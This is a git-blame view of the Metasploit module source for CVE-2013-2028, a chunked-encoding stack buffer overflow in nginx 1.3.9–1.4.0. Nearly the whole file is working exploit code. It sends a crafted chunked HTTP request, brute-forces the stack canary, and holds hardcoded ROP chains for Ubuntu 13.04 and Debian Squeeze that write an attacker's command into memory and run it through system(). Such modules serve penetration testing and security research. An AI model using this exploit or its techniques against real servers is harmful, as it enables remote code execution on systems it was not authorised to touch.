Files
metasploit-gs/modules/exploits/linux/http/nginx_chunked_size.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

275 lines
7.6 KiB
Ruby
Raw Normal View History

2013-05-22 13:52:00 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-05-22 13:52:00 -04:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2017-03-30 21:17:02 -04:00
Rank = GreatRanking
2013-05-22 14:37:42 -05:00
2013-05-22 13:52:00 -04:00
include Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def initialize(info = {})
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
super(update_info(info,
2013-05-28 10:03:29 -05:00
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow',
2013-05-22 13:52:00 -04:00
'Description' => %q{
2013-05-22 14:37:42 -05:00
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
supplying an overly long hex value as chunked block size. This value is later used
when determining the number of bytes to read into a stack buffer, thus the overflow
becomes possible.
2013-05-22 13:52:00 -04:00
},
'Author' =>
[
'Greg MacManus', # original discovery
2013-05-22 14:37:42 -05:00
'hal', # Metasploit module
'saelo' # Metasploit module
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2013-05-07',
2013-05-22 13:52:00 -04:00
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2028'],
['OSVDB', '93037'],
2013-05-22 13:52:00 -04:00
['URL', 'http://nginx.org/en/security_advisories.html'],
['PACKETSTORM', '121560']
2013-05-22 13:52:00 -04:00
],
'Privileged' => false,
'Payload' =>
{
2014-10-07 10:24:32 -05:00
'BadChars' => "\x0d\x0a"
2013-05-22 13:52:00 -04:00
},
2013-05-22 14:37:42 -05:00
'Arch' => ARCH_CMD,
'Platform' => 'unix',
2013-05-22 13:52:00 -04:00
'Targets' =>
[
2013-05-22 14:37:42 -05:00
[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
'CanaryOffset' => 5050,
'Offset' => 12,
'Writable' => 0x080c7330, # .data from nginx
:dereference_got_callback => :dereference_got_ubuntu_1304,
:store_callback => :store_ubuntu_1304,
}],
[ 'Debian Squeeze 32bit - nginx 1.4.0', {
'Offset' => 5130,
'Writable' => 0x080b4360, # .data from nginx
:dereference_got_callback => :dereference_got_debian_squeeze,
:store_callback => :store_debian_squeeze
} ],
2013-05-22 13:52:00 -04:00
],
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
'DefaultTarget' => 0
))
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
register_options([
OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
])
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
register_advanced_options(
[
2013-05-22 14:37:42 -05:00
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
])
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
def check
2013-05-22 13:52:00 -04:00
begin
res = send_request_fixed(nil)
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
return Exploit::CheckCode::Appears
elsif res =~ /^Server: nginx/m
return Exploit::CheckCode::Detected
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
vprint_error("Connection failed")
2014-01-22 11:20:10 -06:00
return Exploit::CheckCode::Unknown
2013-05-22 13:52:00 -04:00
end
2013-08-30 16:28:54 -05:00
2014-01-22 11:20:10 -06:00
return Exploit::CheckCode::Safe
2013-05-22 13:52:00 -04:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
#
# Generate a random chunk size that will always result
# in a negative 64bit number when being parsed
#
def random_chunk_size(bytes=16)
return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def send_request_fixed(data)
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
connect
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
request = "GET / HTTP/1.1\r\n"
request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
request << "Transfer-Encoding: Chunked\r\n"
request << "\r\n"
request << "#{data}"
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
sock.put(request)
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
res = nil
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
begin
res = sock.get_once(-1, 0.5)
rescue EOFError => e
# Ignore
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
disconnect
return res
2013-05-22 14:37:42 -05:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
def store_ubuntu_1304(address, value)
chain = [
0x0804c415, # pop ecx ; add al, 29h ; ret
address, # address
0x080b9a38, # pop eax ; ret
value.unpack('V').first, # value
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
]
return chain.pack('V*')
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
def dereference_got_ubuntu_1304
chain = [
0x08094129, # pop esi; ret
0x080c5090, # GOT for localtime_r
0x0804c415, # pop ecx ; add al, 29h ; ret
0x001a4b00, # Offset to system
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret
0x08076f63, # push ecx ; add al, 39h ; ret
0x41414141, # Garbage return address
target['Writable'], # ptr to .data where contents have been stored
]
return chain.pack('V*')
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
def store_debian_squeeze(address, value)
chain = [
0x08050d93, # pop edx ; add al 0x83 ; ret
value.unpack('V').first, # value
0x08067330, # pop eax ; ret
address, # address
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
0x41414141, # ebp
]
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
return chain.pack('V*')
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
def dereference_got_debian_squeeze
chain = [
0x0804ab34, # pop edi ; pop ebp ; ret
0x080B4128 -
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
0x41414141, # padding (ebp)
0x08093c75, # mov ebx, edi ; dec ecx ; ret
0x08067330, # pop eax # ret
0xfffb0c80, # offset
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret
0x0804a3af, # call eax # system
target['Writable'] # ptr to .data where contents have been stored
]
return chain.pack("V*")
2013-05-22 13:52:00 -04:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def store(buf, address, value)
rop = target['Rop']
chain = rop['store']['chain']
chain[rop['store']['address_offset']] = address
chain[rop['store']['value_offset']] = value.unpack('V').first
buf << chain.pack('V*')
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def dereference_got
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "Invalid target specified: no callback functions defined")
2013-05-22 14:37:42 -05:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
buf = ""
command = payload.encoded
i = 0
while i < command.length
2013-05-22 14:37:42 -05:00
buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
2013-05-22 13:52:00 -04:00
i = i + 4
end
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
buf << self.send(target[:dereference_got_callback])
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
return buf
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def exploit
data = random_chunk_size(1024)
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
if target['CanaryOffset'].nil?
2013-05-22 14:37:42 -05:00
data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
2013-05-22 13:52:00 -04:00
else
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
if not datastore['CANARY'] == 0xffffffff
2016-02-01 15:12:03 -06:00
print_status("Using 0x%08x as stack canary" % datastore['CANARY'])
2013-05-22 14:37:42 -05:00
canary = datastore['CANARY']
2013-05-22 13:52:00 -04:00
else
2016-02-01 15:12:03 -06:00
print_status("Searching for stack canary")
2013-05-22 13:52:00 -04:00
canary = find_canary
2013-08-30 16:28:54 -05:00
2013-05-22 14:37:42 -05:00
if canary.nil? || canary == 0x00000000
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "#{peer} - Unable to find stack canary")
2013-05-22 13:52:00 -04:00
else
2016-02-01 15:12:03 -06:00
print_good("Canary found: 0x%08x\n" % canary)
2013-05-22 13:52:00 -04:00
end
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
2013-05-22 14:37:42 -05:00
data << [canary].pack('V')
2013-05-22 13:52:00 -04:00
data << Rex::Text.rand_text_hex(target['Offset'])
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
data << dereference_got
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
begin
send_request_fixed(data)
rescue Errno::ECONNRESET => e
# Ignore
end
handler
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
def find_canary
# First byte of the canary is already known
canary = "\x00"
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Assuming byte 0 0x%02x" % 0x00)
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
# We are going to bruteforce the next 3 bytes one at a time
3.times do |c|
2017-07-19 10:39:58 +01:00
print_status("Brute forcing byte #{c + 1}")
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
0.upto(255) do |i|
data = random_chunk_size(1024)
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
data << canary
data << i.chr
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
unless send_request_fixed(data).nil?
2016-02-01 15:12:03 -06:00
print_good("Byte #{c + 1} found: 0x%02x" % i)
2013-05-22 13:52:00 -04:00
canary << i.chr
break
end
end
end
2013-08-30 16:28:54 -05:00
2013-05-22 13:52:00 -04:00
if canary == "\x00"
return nil
else
return canary.unpack('V').first
end
end
end